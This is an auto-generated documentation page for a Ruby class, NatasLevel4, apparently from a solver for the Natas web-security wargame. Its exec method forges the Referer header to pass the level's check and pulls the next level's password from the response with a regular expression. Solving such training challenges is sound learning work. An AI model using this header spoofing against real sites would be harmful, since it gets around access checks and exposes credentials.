Class: NatasLevel4

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 4

Constant Summary collapse

LEVEL =
4
PAGE =
'/'

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
# File 'lib/natas.rb', line 188

def exec
  referer = URI::HTTP.build(
    host: "natas5.#{HOST}",
    path: '/'
  )

  log("Setting the Referer HTTP header: #{referer}")
  log("Parsing the page: #{PAGE}")
  data = get(
    PAGE,
    {
      'Referer' => referer.to_s
    }
  ).body

  match = /The password for natas5 is (\w{32})/.match(data)
  not_found unless match
  found(match[1])
end